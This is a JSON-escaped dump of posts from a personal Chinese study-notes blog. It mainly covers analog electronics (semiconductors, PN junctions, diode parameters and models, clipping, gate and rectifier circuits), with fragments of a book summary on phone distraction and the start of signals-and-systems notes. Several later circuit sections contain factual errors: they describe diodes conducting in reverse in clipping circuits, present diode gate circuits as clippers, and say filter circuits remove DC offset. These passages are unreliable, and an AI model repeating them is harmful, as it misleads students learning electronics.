具影响工作状态。做笔记时可以开启免打扰模式来确保专注。\u003c/p\u003e\u003cp\u003e现代生活难以离开手机,但是它的副作用之严重不是所有人都能接受。在日常生活中,尽量减少查看消息的次数,通知可以定时查看。例如,在每天的午餐时间看看通知,决定接下来要做的事。特别注意,避免使用手机进行工作。这是因为手机可能导致的注意力和精力大量消耗,这会大大降低工作效率和工作质量。\u003c/p\u003e\u003cp\u003e再往后的内容属于个人任务/时间管理的内容,这里不再赘述。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/12/29/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E4%B9%A6%E6%91%98%EF%BC%9A%E3%80%8A%E5%A8%B1%E4%B9%90%E8%87%B3%E6%AD%BB%E3%80%8B/"},{"title":"模电:第一章-半导体器件","time":"2022-12-21T02:25:21Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"1-1-半导体基础\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#1-1-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%9F%BA%E7%A1%80\" class=\"headerlink\" title=\"1.1 半导体基础\"\u003e\u003c/a\u003e1.1 半导体基础\u003c/h2\u003e\u003cul\u003e\u003cli\u003eP/N型半导体 根据\u003cstrong\u003e载流子的正负电性\u003c/strong\u003e命名,掺杂三价/五价物质\u003c/li\u003e\u003cli\u003e本征半导体 纯度达到小数点后9个9的半导体。在其中,空穴数和自由电子数相等\u003c/li\u003e\u003cli\u003e掺杂 会使某一种载流子占多数\u003c/li\u003e\u003cli\u003e漂移运动 载流子在电场作用下定向运动\u003c/li\u003e\u003cli\u003e扩散运动 载流子自浓度高向低浓度区域扩散\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"1-2-PN结\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#1-2-PN%E7%BB%93\" class=\"headerlink\" title=\"1.2 PN结\"\u003e\u003c/a\u003e1.2 PN结\u003c/h2\u003e\u003ch3 id=\"PN结形成过程\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#PN%E7%BB%93%E5%BD%A2%E6%88%90%E8%BF%87%E7%A8%8B\" class=\"headerlink\" title=\"PN结形成过程\"\u003e\u003c/a\u003ePN结形成过程\u003c/h3\u003e\u003cp\u003e在一块本征半导体两侧进行N型掺杂和P型掺杂,此时在结合面上会发生扩散运动。N电子扩散到P空穴,两区域会中和,从而在结合面上会形成裸露粒子。P区呈负电性,N区呈正电性。这会形成内电场,由N区指向P区。这电场会阻碍多子的扩散作用。\u003c/p\u003e\u003cp\u003e在内电场作用下,少子会漂移,方向盘和扩散方向相反,从而会和多子达到动态平衡。平衡后的空间电场区域就称为PN结。这也称为耗尽层(缺少多子),也等效于电阻。\u003c/p\u003e\u003cp\u003e两边掺杂程度不同,会使得PN结不对称。重掺杂一侧会因为密度大相对薄。用P+N/PN+表示。\u003c/p\u003e\u003ch3 id=\"PN结单向导电性\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#PN%E7%BB%93%E5%8D%95%E5%90%91%E5%AF%BC%E7%94%B5%E6%80%A7\" class=\"headerlink\" title=\"PN结单向导电性\"\u003e\u003c/a\u003ePN结单向导电性\u003c/h3\u003e\u003cp\u003e正偏(P流向N)导通,反偏(N流向P)截止。\u003c/p\u003e\u003cp\u003eP区电位高于N区电位称为正偏(forward bias),反之称为反偏。\u003c/p\u003e\u003cp\u003e这回路必须加上限流电阻,否则无压降时电流会很大,二极管会被烧毁。\u003c/p\u003e\u003cp\u003e导通性主要和内电场有关。漂移电流大则电流小,扩散电流大则电流大。温度升高漂移电流也会增大。10℃大概对应漂移电流变化一倍。反向电流由于基本不变,所以称为反向饱和电流。\u003c/p\u003e\u003ch3 id=\"伏安特性\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E4%BC%8F%E5%AE%89%E7%89%B9%E6%80%A7\" class=\"headerlink\" title=\"伏安特性\"\u003e\u003c/a\u003e伏安特性\u003c/h3\u003e\u003cp\u003e伏安特性数学关系为:$I_D=I_S(e^{\\frac{u}{U_t}}-1)$,其中只有$U$和$I$是变量,$I_S$是反偏电流,$U_T$是温度当量,默认为$26mV$。\u003c/p\u003e\u003cp\u003e$U_T=\\frac{kT}{q}$,其中的$k$是玻尔兹曼常数。\u003c/p\u003e\u003cp\u003e$T=300$时,电压为$26mV$。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Screenshot_20221229_093002.jpg\"/\u003e\u003c/p\u003e\u003cp\u003e![[Screenshot_20221229_093211.jpg]]\u003c/p\u003e\u003ch3 id=\"击穿特性\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E5%87%BB%E7%A9%BF%E7%89%B9%E6%80%A7\" class=\"headerlink\" title=\"击穿特性\"\u003e\u003c/a\u003e击穿特性\u003c/h3\u003e\u003cp\u003e击穿方式有两种,血崩击穿和齐纳击穿。\u003c/p\u003e\u003col\u003e\u003cli\u003e雪崩击穿\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e当\u003cstrong\u003ePN结较厚,电压较高时\u003c/strong\u003e,一个载流子打在PN结上,会撞出来一些自由电子。这些自由电子会像链式反应一样撞出来更多的自由电子。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e齐纳击穿\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e当\u003cstrong\u003ePN结较薄,电压较低时\u003c/strong\u003e,内部扩散载流子形成的内电场可能会直接把束缚电子拉出来,形成击穿。\u003c/p\u003e\u003cp\u003e![[Screenshot_20221229_094116.jpg]]\u003c/p\u003e\u003cp\u003e![[Screenshot_20221229_094218.jpg]]\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/IMG_20230213_141623.jpg\"/\u003e\u003c/p\u003e\u003ch3 id=\"PN结的电容效应\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#PN%E7%BB%93%E7%9A%84%E7%94%B5%E5%AE%B9%E6%95%88%E5%BA%94\" class=\"headerlink\" title=\"PN结的电容效应\"\u003e\u003c/a\u003ePN结的电容效应\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e总而言之,PN结可以等效为电容和电阻并联。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cstrong\u003e电容效应\u003c/strong\u003e 电压变化引起电荷变化。势垒电容,扩散电容构成了PN结的电容效应。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e势垒电容\u003c/strong\u003e 由阻挡层内电荷引起。外加电压会改变阻挡层厚度。这会使得阻挡层内电荷量改变。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e扩散电容\u003c/strong\u003e 多子扩散后,在另一侧积累形成电容效应。正向电压会改变电荷量从而使得电容改变。\u003c/p\u003e\u003cp\u003e![[Screenshot_20221229_100028.jpg]]\u003c/p\u003e\u003ch2 id=\"1-3-半导体二极管\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#1-3-%E5%8D%8A%E5%AF%BC%E4%BD%93%E4%BA%8C%E6%9E%81%E7%AE%A1\" class=\"headerlink\" title=\"1.3 半导体二极管\"\u003e\u003c/a\u003e1.3 半导体二极管\u003c/h2\u003e\u003cp\u003e是将半导体制作成二极管(diode)得到的电子元件,性质也是单向导通。两端分别为P端(阳极),N端(阴极)。\u003c/p\u003e\u003cp\u003e分类可以按照材料:\u003c/p\u003e\u003cul\u003e\u003cli\u003e硅二极管\u003c/li\u003e\u003cli\u003e锗二极管\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e也可以按照结构分类:\u003c/p\u003e\u003cul\u003e\u003cli\u003e点接触型二极管 适合高频工作,小电流整流、检波和混频等\u003c/li\u003e\u003cli\u003e面接触型二极管 只能在较低的频率工作,可用于整流电路\u003c/li\u003e\u003cli\u003e硅平面型二极管 结面积大的用于大功率整流,小的在脉冲数字电路中作开关管\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"二极管的参数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E4%BA%8C%E6%9E%81%E7%AE%A1%E7%9A%84%E5%8F%82%E6%95%B0\" class=\"headerlink\" title=\"二极管的参数\"\u003e\u003c/a\u003e二极管的参数\u003c/h3\u003e\u003cp\u003e二极管有这么几个特殊点。考虑U-I图(横轴U纵轴I),有\u003c/p\u003e\u003cul\u003e\u003cli\u003e$U_{th}$ 死区电压,超过这个正值二极管开始导通\u003c/li\u003e\u003cli\u003e$U_{on}\\text{ or }U_I$ 导通电压,此时电流达到1mA\u003c/li\u003e\u003cli\u003e$U_{BR}$ 击穿电压,反向电压超过一定值后,反向电流急剧增加\u003c/li\u003e\u003cli\u003e$U_R$ 最大反向工作电压,二极管允许的最大工作电压,一般取最大值的一半标注\u003c/li\u003e\u003cli\u003e$I_F$ 最大整流电流,正向最大平均电流\u003c/li\u003e\u003cli\u003e$I_R$ 反向电流,未击穿时反向电流值,受温度影响大\u003c/li\u003e\u003cli\u003e$f_M$ 最高工作频率 和结电容成反比\u003c/li\u003e\u003cli\u003e$R_D$ 端电压和流过二极管的电流之比\u003c/li\u003e\u003cli\u003e$r_d$ 交流电阻,工作点附近的图像切线斜率倒数。取26℃室温,约为$\\frac{26(mV)}{I_{DQ}}$,分母是工作点的电流\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e部分重要参数如下:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"left\"\u003e-\u003c/th\u003e\u003cth align=\"center\"\u003e硅二极管\u003c/th\u003e\u003cth align=\"center\"\u003e锗二极管\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e$U_{th}$\u003c/td\u003e\u003ctd align=\"center\"\u003e0.5V\u003c/td\u003e\u003ctd align=\"center\"\u003e0.1V\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e$U_{on}$\u003c/td\u003e\u003ctd align=\"center\"\u003e0.7V\u003c/td\u003e\u003ctd align=\"center\"\u003e0.3V\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e反向饱和电流\u003c/td\u003e\u003ctd align=\"center\"\u003e$nA$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\mu A$\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e温度特性 \u003cstrong\u003e温度升高1℃,正向压降减小2-2.5mV;升高10℃,反向电流约增大1倍。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e为了简化分析,可以在某种范围用线性函数近似二极管的指数分布。\u003c/p\u003e\u003cul\u003e\u003cli\u003e理想模型 就是理想二极管,反向断路,正向短路\u003c/li\u003e\u003cli\u003e恒压降模型 在理想模型基础加上$U_{on}$,相当于将理想模型向右平移$U_{on}$\u003c/li\u003e\u003cli\u003e折线模型 把前者正向短路换成斜率$1/R_D$的直线\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e利用二极管反向电流变化小的性质,可以用它制作稳压电路。\u003c/p\u003e\u003ch4 id=\"限幅电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E9%99%90%E5%B9%85%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"限幅电路\"\u003e\u003c/a\u003e限幅电路\u003c/h4\u003e\u003cp\u003e限幅电路是一种常用的保护电路,可以限制输入信号的幅值,使其不超过一定范围。常用的限幅电路有正向限幅电路和反向限幅电路。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e限幅的实现,是源于二极管的伏安特性曲线。它导通时,两端电压近似等于二极管的导通电压。这使得二极管有了一种“钳制”的效果:当二极管在一个支路上,如果遇到一个支路的端电压超过导通电压,则二极管会导通,使得两端的电压无限接近于二极管的导通电压。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606213624.png\"/\u003e\u003c/p\u003e\u003cp\u003e下面是另一个题型,看谁先导通(共极)。这种方法看谁的阴极电压更低,就能得出了。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606213711.png\"/\u003e\u003c/p\u003e\u003cp\u003e另外还可以假设法解题。因为钳制效应的作用,所以只有一个管子会导通。因此,假设一个管导通,如果一个管导通,其他管不导通,则假设正确。\u003c/p\u003e\u003ch5 id=\"正向限幅电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E6%AD%A3%E5%90%91%E9%99%90%E5%B9%85%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"正向限幅电路\"\u003e\u003c/a\u003e正向限幅电路\u003c/h5\u003e\u003cp\u003e正向限幅电路可以将输入信号的负半周全部截去,只保留正半周。\u003c/p\u003e\u003cp\u003e当输入信号为正半周时,二极管正向导通,输出信号等于输入信号;当输入信号为负半周时,二极管反向截止,输出信号为0V。因此,正向限幅电路可以将输入信号的负半周全部截去,只保留正半周。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606214233.png\"/\u003e\u003c/p\u003e\u003cp\u003e上面就是一个反向截止电路。\u003c/p\u003e\u003ch5 id=\"反向限幅电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E5%8F%8D%E5%90%91%E9%99%90%E5%B9%85%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"反向限幅电路\"\u003e\u003c/a\u003e反向限幅电路\u003c/h5\u003e\u003cp\u003e反向限幅电路可以将输入信号的正半周全部截去,只保留负半周。\u003c/p\u003e\u003cp\u003e当输入信号为负半周时,二极管反向导通,输出信号等于输入信号;当输入信号为正半周时,二极管正向截止,输出信号为0V。因此,反向限幅电路可以将输入信号的正半周全部截去,只保留负半周。\u003c/p\u003e\u003cp\u003e限幅电路的应用非常广泛,例如在音频放大器中,可以用限幅电路来保护扬声器,防止过载损坏;在通信电路中,可以用限幅电路来保护接收机,防止过大的信号干扰接收机正常工作。\u003c/p\u003e\u003ch4 id=\"二极管门电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E4%BA%8C%E6%9E%81%E7%AE%A1%E9%97%A8%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"二极管门电路\"\u003e\u003c/a\u003e二极管门电路\u003c/h4\u003e\u003cp\u003e二极管门电路是一种常用的电路,可以将输入信号的幅值限制在一定范围内。二极管门电路的基本原理是利用二极管的导通特性,将输入信号限制在二极管正向导通电压范围内。当输入信号超过二极管正向导通电压时,二极管开始导通,输出信号等于输入信号减去二极管正向导通电压;当输入信号小于二极管正向导通电压时,二极管反向截止,输出信号为0V。\u003c/p\u003e\u003cp\u003e常见的二极管门电路有正向门电路和反向门电路。\u003c/p\u003e\u003ch5 id=\"正向门电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E6%AD%A3%E5%90%91%E9%97%A8%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"正向门电路\"\u003e\u003c/a\u003e正向门电路\u003c/h5\u003e\u003cp\u003e正向门电路可以将输入信号的负半周全部截去,只保留正半周。当输入信号为正半周时,二极管正向导通,输出信号等于输入信号减去二极管正向导通电压;当输入信号为负半周时,二极管反向截止,输出信号为0V。因此,正向门电路可以将输入信号的负半周全部截去,只保留正半周。\u003c/p\u003e\u003ch5 id=\"反向门电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E5%8F%8D%E5%90%91%E9%97%A8%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"反向门电路\"\u003e\u003c/a\u003e反向门电路\u003c/h5\u003e\u003cp\u003e反向门电路可以将输入信号的正半周全部截去,只保留负半周。当输入信号为负半周时,二极管反向导通,输出信号等于输入信号减去二极管正向导通电压的相反数;当输入信号为正半周时,二极管正向截止,输出信号为0V。因此,反向门电路可以将输入信号的正半周全部截去,只保留负半周。\u003c/p\u003e\u003ch4 id=\"整流电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E6%95%B4%E6%B5%81%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"整流电路\"\u003e\u003c/a\u003e整流电路\u003c/h4\u003e\u003cp\u003e整流电路是将交流电信号转换为直流电信号的电路。在整流电路中,二极管起到了关键作用。常见的整流电路有半波整流电路和全波整流电路。\u003c/p\u003e\u003ch5 id=\"半波整流电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E5%8D%8A%E6%B3%A2%E6%95%B4%E6%B5%81%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"半波整流电路\"\u003e\u003c/a\u003e半波整流电路\u003c/h5\u003e\u003cp\u003e半波整流电路是将输入信号的负半周全部截去,只保留正半周。输入信号为正半周时,二极管正向导通,输出信号等于输入信号;当输入信号为负半周时,二极管反向截止,输出信号为0V。因此,半波整流电路可以将输入信号的负半周全部截去,只保留正半周。\u003c/p\u003e\u003ch5 id=\"全波整流电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E5%85%A8%E6%B3%A2%E6%95%B4%E6%B5%81%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"全波整流电路\"\u003e\u003c/a\u003e全波整流电路\u003c/h5\u003e\u003cp\u003e全波整流电路是将输入信号的负半周翻转成正半周,再与正半周相加得到完整的正半周信号。当输入信号为正半周时,D1正向导通,输出信号等于输入信号;当输入信号为负半周时,D2正向导通,输出信号等于输入信号的相反数。因此,全波整流电路可以将输入信号的负半周翻转成正半周,再与正半周相加得到完整的正半周信号。\u003c/p\u003e\u003ch5 id=\"滤波电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E6%BB%A4%E6%B3%A2%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"滤波电路\"\u003e\u003c/a\u003e滤波电路\u003c/h5\u003e\u003cp\u003e在整流电路中,由于二极管的导通特性,输出信号仍然存在直流偏置。为了去除这种直流偏置,需要加入滤波电路。常见的滤波电路有电容滤波电路和电感滤波电路。\u003c/p\u003e\u003ch3 id=\"二极管电路分析\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E4%BA%8C%E6%9E%81%E7%AE%A1%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"二极管电路分析\"\u003e\u003c/a\u003e二极管电路分析\u003c/h3\u003e\u003cp\u003e对于二极管电路的分析,需要掌握二极管的伏安特性、电容效应、温度特性等基本特性,以及二极管的参数和模型。常用的二极管模型有理想模型、恒压降模型和折线模型。在实际电路中,可以根据需要选择不同的模型进行分析。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/"},{"title":"信号与系统笔记","time":"2022-12-20T00:48:44Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e考核:\u003cbr/\u003e平时成绩 30%\u003cbr/\u003e阶段考核 10%\u003cbr/\u003e慕课考核 10%\u003cbr/\u003e期末考试 50%\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"1-信号与系统\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#1-%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F\" class=\"headerlink\" title=\"1-信号与系统\"\u003e\u003c/a\u003e1-信号与系统\u003c/h2\u003e\u003ch3 id=\"1-1-信号与系统的概念\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#1-1-%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%9A%84%E6%A6%82%E5%BF%B5\" class=\"headerlink\" title=\"1.1-信号与系统的概念\"\u003e\u003c/a\u003e1.1-信号与系统的概念\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e信号\u003c/strong\u003e 是信息的载体\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e系统\u003c/strong\u003e 是若干事物组成的功能性整体,其基本作用是对信号进行\u003cstrong\u003e传输\u003c/strong\u003e和\u003cstrong\u003e处理\u003c/strong\u003e。输入信号(激励),系统产生输出(响应)。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e信号处理\u003c/strong\u003e 对信号加工处理,去除无关信息。\u003c/p\u003e\u003cp\u003e通信过程分为两种,有线和无线。\u003c/p\u003e\u003ch3 id=\"1-2-信号的描述\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#1-2-%E4%BF%A1%E5%8F%B7%E7%9A%84%E6%8F%8F%E8%BF%B0\" class=\"headerlink\" title=\"1.2-信号的描述\"\u003e\u003c/a\u003e1.2-信号的描述\u003c/h3\u003e\u003ch4 id=\"描述\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E6%8F%8F%E8%BF%B0\" class=\"headerlink\" title=\"描述\"\u003e\u003c/a\u003e描述\u003c/h4\u003e\u003cp\u003e信号是信息的一种物理体现,一般是随时间或位置变化的物理量。可以分为电信号和非电信号。二者可以相互转换。\u003c/p\u003e\u003cp\u003e描述方式有函数和波形描述。\u003c/p\u003e\u003ch4 id=\"分类\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E5%88%86%E7%B1%BB\" class=\"headerlink\" title=\"分类\"\u003e\u003c/a\u003e分类\u003c/h4\u003e\u003cp\u003e按照实际用途可以分为电视,雷达,控制信号等等\u003c/p\u003e\u003cp\u003e按照所具有的时间特性划分:\u003c/p\u003e\u003cul\u003e\u003cli\u003e确定信号和随机信号 能否用确定的时间函数表示的信号。\u003c/li\u003e\u003cli\u003e连续信号和离散信号 \u003cstrong\u003e连续的时间范围内\u003c/strong\u003e是否有定义的信号。\u003c/li\u003e\u003c/ul\u003e\u003cblockquote\u003e\u003cp\u003e连续信号和离散信号分别可以对应模拟信号(时间和幅值均连续的信号)和数字信号。信号传输时通常采用数字信号的形式传输,在系统中使用时会重新解码为模拟信号。\u003cbr/\u003e模拟转数字过程:先抽样,转化为抽样信号(时间离散,幅值连续的信号);再量化,转化为幅值和时间均为离散的信号(把一个区间内的值都映射为一个值),随后将信号进行编码再发射出去。\u003cbr/\u003e![[Pasted image 